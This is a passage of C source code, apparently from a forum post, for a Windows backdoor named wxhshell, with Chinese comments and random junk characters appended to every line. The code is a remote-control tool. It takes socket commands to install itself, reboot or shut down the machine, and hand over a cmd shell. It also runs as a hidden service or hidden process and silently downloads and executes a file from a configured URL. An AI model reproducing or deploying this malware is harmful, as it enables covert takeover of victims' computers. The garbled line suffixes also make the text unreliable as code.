  case '?': { (sl]%RjGa  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); iu1iO;q  
    break; _*`AGda  
  } Y5npz^i  
  // 安装 `/|=eQ")o@  
  case 'i': { bC@b9opD  
    if(Install()) |w>DZG!}1-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YWdlE7 y  
    else Hv IN'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p,1RRbyc  
    break; GdP9Uj)n-  
    } tr'95'5W.  
  // 卸载 mC93 &0  
  case 'r': { $ jn tT(V  
    if(Uninstall()) ,~kMkBkl~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  43VuH  
    else +V7p?iEY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BF@VgozW  
    break; '%~zu]f'  
    } 2KzKNe(  
  // 显示 wxhshell 所在路径 1R:h$* -z  
  case 'p': { <T&$1m{  
    char svExeFile[MAX_PATH]; --/  .  
    strcpy(svExeFile,"\n\r"); P]x@h  
      strcat(svExeFile,ExeFile); O;zW'*c+  
        send(wsh,svExeFile,strlen(svExeFile),0); T-x`ut7c  
    break; qxrOfsh  
    } S_WY91r  
  // 重启 oC?b]tzj  
  case 'b': {  #?,cYh+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ']rh0?  
    if(Boot(REBOOT)) :@3d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "vJADQ4F  
    else { Nyo6R9^  
    closesocket(wsh); vLC&C-f  
    ExitThread(0); zzx4;C",u  
    } [NFAdE  
    break; ~/.&Z`ls  
    } 0FW=8hFp,  
  // 关机 JBg>E3*N  
  case 'd': { [[|;Wr} 2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =o-qu^T^u  
    if(Boot(SHUTDOWN)) C1nQZtF R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ew0 )  
    else { U?rfE(!  
    closesocket(wsh); 2Hd6  
    ExitThread(0); iN)@Cu7  
    } Gmc"3L  
    break; yZ  P+  
    } |_rj 12.xo  
  // 获取shell tJn2:}-s  
  case 's': { +u Lu.-N  
    CmdShell(wsh); #z~oc^J^T  
    closesocket(wsh); z/T ZOFaM  
    ExitThread(0); ILpB:g  
    break; qI"mW@G~H  
  } &0l Nj@/  
  // 退出 kP6r=HH@  
  case 'x': { l&yR-FJ7KY  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <)&ykcB  
    CloseIt(wsh); ruW6cvsvet  
    break; Jv?e ?U  
    } I2Us!W>6-  
  // 离开 [_~U<   
  case 'q': { DUtpd|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #}gc6T~0  
    closesocket(wsh); ox*Ka]  
    WSACleanup(); |~/{lE=I  
    exit(1); 6` s[PKP.  
    break; r*$"]{m}  
        } +`4|,K7'  
  } 1ERz:\  
  } +g;G*EP7*  
=1,g#HS  
  // 提示信息 r({(;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *kIJv?%_}  
} C$hsR&  
  } < FJ#Hy+  
gsR"d@!  
  return; X}Csl~W8in  
} byMO&Lb*  
oT_,k}LIX  
// shell模块句柄 _Nj;Ni2rD  
int CmdShell(SOCKET sock) "K@os<  
{ vKW%l  
STARTUPINFO si; ;L`'xFo>>  
ZeroMemory(&si,sizeof(si)); #8RQ7|7b|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &@Q3CCDS  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; f+1]#"9i|  
PROCESS_INFORMATION ProcessInfo; V*AG0@& !  
char cmdline[]="cmd"; qB&*"gf  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); a2i   
  return 0; j4l7Tx  
} (I+-wki"e  
x|Ei_hI-  
// 自身启动模式 v|"{x&I.  
int StartFromService(void) =:2V4H(F  
{ 3)xV-Y9  
typedef struct -{w&ya4X  
{ k-89(  
  DWORD ExitStatus; Uarb [4OZ  
  DWORD PebBaseAddress; WFB2Ub7  
  DWORD AffinityMask; *0iP*j/]  
  DWORD BasePriority;  qV}zV\Nz  
  ULONG UniqueProcessId; _3E7|drIX  
  ULONG InheritedFromUniqueProcessId; $""[( d?0  
}   PROCESS_BASIC_INFORMATION; 7!%cKZCY  
$ey<8qzp  
PROCNTQSIP NtQueryInformationProcess; h8h4)>:  
Sb`>IlT\#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "<&F=gV  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h!Ka\By8#  
ve.4""\a  
  HANDLE             hProcess; +F/'+  
  PROCESS_BASIC_INFORMATION pbi; w&H ?;1  
;?y?s'>t&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); REt()$ 7~  
  if(NULL == hInst ) return 0; +-oXW>`&  
Mz06cw&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !98s[)B:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,4\vi|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -ZuzJAA  
e L(T  
  if (!NtQueryInformationProcess) return 0; X23TS`  
:?S2s Ne2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2"mO"2d%  
  if(!hProcess) return 0; /0r2v/0  
 RFZrcM  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Q~]R#S  
9xSAWKr,l  
  CloseHandle(hProcess); 5~sJ$5<,  
'UB<;6wy  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); eg}|%GG  
if(hProcess==NULL) return 0; 2`lit@u&u  
hA"N&v~  
HMODULE hMod; o~}q@]]  
char procName[255]; *R&g'y^d  
unsigned long cbNeeded; ['c:n?  
e8[ *=&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); GJW1|Fk  
E:i3 /Ep?  
  CloseHandle(hProcess); KctD=6  
^C'k.pV n~  
if(strstr(procName,"services")) return 1; // 以服务启动 'rg$%M*(  
-aO3/Ik [q  
  return 0; // 注册表启动 jf})"fz-*  
} s=6w-'; V  
}^QY<Cp|  
// 主模块 GoFC!nx  
int StartWxhshell(LPSTR lpCmdLine) pa+ y(!G  
{ 6 o+zhi;E  
  SOCKET wsl; C!.6:Aj  
BOOL val=TRUE; G U!XD!!&  
  int port=0; +J^}"dG  
  struct sockaddr_in door; } FFW,x  
6IvLr+I  
  if(wscfg.ws_autoins) Install(); ^+P]_< 43  
]vlQNd?  
port=atoi(lpCmdLine); 2V  
{g);HnmPN  
if(port<=0) port=wscfg.ws_port; Ohjqdv@  
C ]#R7G  
  WSADATA data; ];< [Cln%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; E7*]t_p"  
51rM6 BT  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   NfN#q:w1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $GYy[-.`  
  door.sin_family = AF_INET; H_$"]iQ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 31_5k./  
  door.sin_port = htons(port); r%o!P`  
# - kyZ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7?kvrIuY&  
closesocket(wsl); s{CSU3vYmi  
return 1; Z1>pOJm  
} PvA%c<z  
x &\~4,TN  
  if(listen(wsl,2) == INVALID_SOCKET) { lh5k@\X  
closesocket(wsl); 2S/^"IM["  
return 1; 8Mp  
} 6L*y$e"Qc  
  Wxhshell(wsl); xR%CS`0R  
  WSACleanup(); +\{!jB*g  
gHm ^@  
return 0; Mk^o*L{ H  
Ya>cGaLq  
} PCFm@S@Q  
k1%Ek#5  
// 以NT服务方式启动 (57x5qP X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `HHbQXB  
{ fygy#&}~  
DWORD   status = 0; eR3!P8t  
  DWORD   specificError = 0xfffffff; 0 ">#h  
TM"i9a? ;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; MLp5Y\8*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; CE?R/uNo{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; d$>1 2>>  
  serviceStatus.dwWin32ExitCode     = 0; "r|O /   
  serviceStatus.dwServiceSpecificExitCode = 0; Et7AAV*8g  
  serviceStatus.dwCheckPoint       = 0; r_ o2d8  
  serviceStatus.dwWaitHint       = 0; {^ N = hI  
GHoPv-#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lk+)-J-lj'  
  if (hServiceStatusHandle==0) return; +]AE}UXZoh  
cW3;5  
status = GetLastError(); .*y{[."!  
  if (status!=NO_ERROR) b^%4_[uRu  
{ Qs4Jl;Y_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zg^5cHP\  
    serviceStatus.dwCheckPoint       = 0; >w V$az  
    serviceStatus.dwWaitHint       = 0; >u6kT\|^C  
    serviceStatus.dwWin32ExitCode     = status; J|K~a?&vN  
    serviceStatus.dwServiceSpecificExitCode = specificError; D@0eYX4s  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); JM M\  
    return; j7i[z>:Y  
  } n[{o~VN  
D@f%&|IZ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Z &PwNr/  
  serviceStatus.dwCheckPoint       = 0; m(&ZNZK  
  serviceStatus.dwWaitHint       = 0; rb9 x||  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); txliZ|.O  
} TpnkJygIm  
&\5T`|~)!  
// 处理NT服务事件,比如:启动、停止 =JEnK_@?K\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0$P40 7  
{ 3L#KHTM  
switch(fdwControl) RJGf@am&  
{ n RXf\*"3  
case SERVICE_CONTROL_STOP: kH{axMNc  
  serviceStatus.dwWin32ExitCode = 0; _:TD{EO$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; BI}>"',  
  serviceStatus.dwCheckPoint   = 0; zf^!Zqn[8z  
  serviceStatus.dwWaitHint     = 0; Vg2s~ce{  
  { }G-qOt  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); psYfz)1;  
  } rYc?y  
  return; lKe aI  
case SERVICE_CONTROL_PAUSE: f9#B(4Tgi  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; U-|g tND  
  break; <}B]f1zX  
case SERVICE_CONTROL_CONTINUE: <]"aP1+C  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `33+OW  
  break; ,Kdvt@vle  
case SERVICE_CONTROL_INTERROGATE: WT!%FQ9  
  break; :p OX,  
}; 0WQ0-~wx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cT."  
} -V<i4X<|,+  
%*LdacjZ  
// 标准应用程序主函数 :y]l`Mo -  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _{-GR-  
{ Q:tW LVE#0  
=<FFFoF*C_  
// 获取操作系统版本 )%)?M *  
OsIsNt=GetOsVer(); )LnHm  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0Wk}d(f  
d~YDg{H  
  // 从命令行安装 Kf(% aDYq  
  if(strpbrk(lpCmdLine,"iI")) Install(); `qX'9e3VP+  
BEu9gu  
  // 下载执行文件 '"=C^f  
if(wscfg.ws_downexe) { =TyN"0@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !a?o9<V  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3WaYeol`  
} I:='LH,  
#{<Jm?sU  
if(!OsIsNt) { 2,dG Rf  
// 如果时win9x,隐藏进程并且设置为注册表启动 [7L1y) I(  
HideProc(); ?EKYKLwr  
StartWxhshell(lpCmdLine); ynDa4HB  
} '0w'||#1  
else $] w&`F-  
  if(StartFromService()) eK`n5Z&Y\  
  // 以服务方式启动 ,TP^i 0  
  StartServiceCtrlDispatcher(DispatchTable); @{~x:P5g  
else q"fK"H-j  
  // 普通方式启动 _RhCVoeB  
  StartWxhshell(lpCmdLine); u9'4q<>&  
|9 }G  
return 0; Lv#DIQ8y  
}
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只看该作者 1 发表于: 2006-10-10
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